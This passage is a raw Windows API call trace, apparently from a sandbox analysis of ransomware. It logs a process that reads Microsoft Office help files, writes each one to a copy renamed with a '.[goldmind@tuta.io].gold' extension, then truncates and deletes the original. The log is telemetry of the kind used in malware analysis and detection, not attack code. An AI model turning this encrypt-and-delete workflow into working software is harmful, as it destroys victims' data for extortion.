[0107.801] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.802] lstrlenW (lpString=".doc") returned 4 [0107.802] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.802] lstrlenW (lpString=".docx") returned 5 [0107.802] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.802] lstrlenW (lpString=".pdf") returned 4 [0107.802] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.802] lstrlenW (lpString=".xls") returned 4 [0107.802] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.802] lstrlenW (lpString=".xlsx") returned 5 [0107.802] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.802] lstrlenW (lpString=".ppt") returned 4 [0107.802] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.802] lstrlenW (lpString=".zip") returned 4 [0107.802] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.802] lstrlenW (lpString=".rar") returned 4 [0107.802] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.802] lstrlenW (lpString=".bz2") returned 4 [0107.802] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.802] lstrlenW (lpString=".7z") returned 3 [0107.802] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.802] lstrlenW (lpString=".dbf") returned 4 [0107.802] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.802] lstrlenW (lpString=".1cd") returned 4 [0107.802] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK") returned 63 [0107.802] lstrlenW (lpString=".jpg") returned 4 [0107.802] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.802] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.802] lstrlenW (lpString="VISIO_K_COL.HXK") returned 15 [0107.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.803] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=113) returned 1 [0107.803] CloseHandle (hObject=0x3b8) returned 1 [0107.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 0x20 [0107.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.803] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.803] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.804] GetLastError () returned 0x0 [0107.804] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x71, lpOverlapped=0x0) returned 1 [0107.805] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.805] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.805] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0107.806] SetEndOfFile (hFile=0x3b0) returned 1 [0107.806] CloseHandle (hObject=0x3b0) returned 1 [0107.806] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.806] SetEndOfFile (hFile=0x3b8) returned 1 [0107.807] CloseHandle (hObject=0x3b8) returned 1 [0107.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 1 [0107.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.808] lstrlenW (lpString=".doc") returned 4 [0107.808] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.808] lstrlenW (lpString=".docx") returned 5 [0107.808] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.808] lstrlenW (lpString=".pdf") returned 4 [0107.809] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString=".xls") returned 4 [0107.809] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString=".xlsx") returned 5 [0107.809] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.809] lstrlenW (lpString=".ppt") returned 4 [0107.809] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.809] lstrlenW (lpString=".zip") returned 4 [0107.809] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString=".rar") returned 4 [0107.809] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString=".bz2") returned 4 [0107.809] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.809] lstrlenW (lpString=".7z") returned 3 [0107.809] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.809] lstrlenW (lpString=".dbf") returned 4 [0107.809] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.809] lstrlenW (lpString=".1cd") returned 4 [0107.809] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.809] lstrlenW (lpString=".jpg") returned 4 [0107.809] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.809] lstrlenW (lpString=".doc") returned 4 [0107.809] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.809] lstrlenW (lpString=".docx") returned 5 [0107.809] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.809] lstrlenW (lpString=".pdf") returned 4 [0107.809] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString=".xls") returned 4 [0107.809] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString=".xlsx") returned 5 [0107.809] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.809] lstrlenW (lpString=".ppt") returned 4 [0107.809] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.809] lstrlenW (lpString=".zip") returned 4 [0107.809] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.809] lstrlenW (lpString=".rar") returned 4 [0107.809] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.810] lstrlenW (lpString=".bz2") returned 4 [0107.810] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.810] lstrlenW (lpString=".7z") returned 3 [0107.810] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.810] lstrlenW (lpString=".dbf") returned 4 [0107.810] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.810] lstrlenW (lpString=".1cd") returned 4 [0107.810] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0107.810] lstrlenW (lpString=".jpg") returned 4 [0107.810] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.810] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0107.810] lstrlenW (lpString="VISIO_PRM.HXS") returned 13 [0107.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.810] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2287488) returned 1 [0107.810] CloseHandle (hObject=0x3b8) returned 1 [0107.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs")) returned 0x20 [0107.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0107.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.811] lstrlenW (lpString=".doc") returned 4 [0107.811] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.811] lstrlenW (lpString=".docx") returned 5 [0107.811] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0107.811] lstrlenW (lpString=".pdf") returned 4 [0107.811] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.811] lstrlenW (lpString=".xls") returned 4 [0107.811] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.811] lstrlenW (lpString=".xlsx") returned 5 [0107.811] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0107.811] lstrlenW (lpString=".ppt") returned 4 [0107.811] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.811] lstrlenW (lpString=".zip") returned 4 [0107.811] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.811] lstrlenW (lpString=".rar") returned 4 [0107.811] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.811] lstrlenW (lpString=".bz2") returned 4 [0107.811] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.811] lstrlenW (lpString=".7z") returned 3 [0107.811] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.811] lstrlenW (lpString=".dbf") returned 4 [0107.811] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.811] lstrlenW (lpString=".1cd") returned 4 [0107.811] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.812] lstrlenW (lpString=".jpg") returned 4 [0107.812] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.812] lstrlenW (lpString=".doc") returned 4 [0107.812] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.812] lstrlenW (lpString=".docx") returned 5 [0107.812] lstrcmpiW (lpString1=".docx", lpString2="M.HXS") returned -1 [0107.812] lstrlenW (lpString=".pdf") returned 4 [0107.812] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.812] lstrlenW (lpString=".xls") returned 4 [0107.812] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.812] lstrlenW (lpString=".xlsx") returned 5 [0107.812] lstrcmpiW (lpString1=".xlsx", lpString2="M.HXS") returned -1 [0107.812] lstrlenW (lpString=".ppt") returned 4 [0107.812] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.812] lstrlenW (lpString=".zip") returned 4 [0107.812] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.812] lstrlenW (lpString=".rar") returned 4 [0107.812] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.812] lstrlenW (lpString=".bz2") returned 4 [0107.812] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.812] lstrlenW (lpString=".7z") returned 3 [0107.812] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.812] lstrlenW (lpString=".dbf") returned 4 [0107.812] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.812] lstrlenW (lpString=".1cd") returned 4 [0107.812] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS") returned 61 [0107.812] lstrlenW (lpString=".jpg") returned 4 [0107.812] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.812] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0107.812] lstrlenW (lpString="VISIO_PRM_COL.HXC") returned 17 [0107.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.813] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=641) returned 1 [0107.813] CloseHandle (hObject=0x3b8) returned 1 [0107.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 0x20 [0107.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.814] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.814] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.814] GetLastError () returned 0x0 [0107.814] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x281, lpOverlapped=0x0) returned 1 [0108.045] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x290, lpOverlapped=0x0) returned 1 [0108.045] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.045] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0108.045] SetEndOfFile (hFile=0x3b0) returned 1 [0108.045] CloseHandle (hObject=0x3b0) returned 1 [0108.046] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.046] SetEndOfFile (hFile=0x3b8) returned 1 [0108.047] CloseHandle (hObject=0x3b8) returned 1 [0108.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc")) returned 1 [0108.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.048] lstrlenW (lpString=".doc") returned 4 [0108.048] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.048] lstrlenW (lpString=".docx") returned 5 [0108.048] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.048] lstrlenW (lpString=".pdf") returned 4 [0108.048] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.048] lstrlenW (lpString=".xls") returned 4 [0108.048] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.048] lstrlenW (lpString=".xlsx") returned 5 [0108.048] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.048] lstrlenW (lpString=".ppt") returned 4 [0108.048] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.048] lstrlenW (lpString=".zip") returned 4 [0108.048] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.048] lstrlenW (lpString=".rar") returned 4 [0108.048] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.048] lstrlenW (lpString=".bz2") returned 4 [0108.048] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.048] lstrlenW (lpString=".7z") returned 3 [0108.048] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.048] lstrlenW (lpString=".dbf") returned 4 [0108.048] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.048] lstrlenW (lpString=".1cd") returned 4 [0108.048] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.048] lstrlenW (lpString=".jpg") returned 4 [0108.048] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.049] lstrlenW (lpString=".doc") returned 4 [0108.049] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.049] lstrlenW (lpString=".docx") returned 5 [0108.049] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.049] lstrlenW (lpString=".pdf") returned 4 [0108.049] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.049] lstrlenW (lpString=".xls") returned 4 [0108.049] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.049] lstrlenW (lpString=".xlsx") returned 5 [0108.049] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.049] lstrlenW (lpString=".ppt") returned 4 [0108.049] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.049] lstrlenW (lpString=".zip") returned 4 [0108.049] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.049] lstrlenW (lpString=".rar") returned 4 [0108.049] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.049] lstrlenW (lpString=".bz2") returned 4 [0108.049] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.049] lstrlenW (lpString=".7z") returned 3 [0108.049] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.049] lstrlenW (lpString=".dbf") returned 4 [0108.049] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.049] lstrlenW (lpString=".1cd") returned 4 [0108.049] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC") returned 65 [0108.049] lstrlenW (lpString=".jpg") returned 4 [0108.049] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.049] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0108.049] lstrlenW (lpString="VISUTILS.VSL") returned 12 [0108.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0108.050] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=50544) returned 1 [0108.050] CloseHandle (hObject=0x3b8) returned 1 [0108.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 0x20 [0108.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: 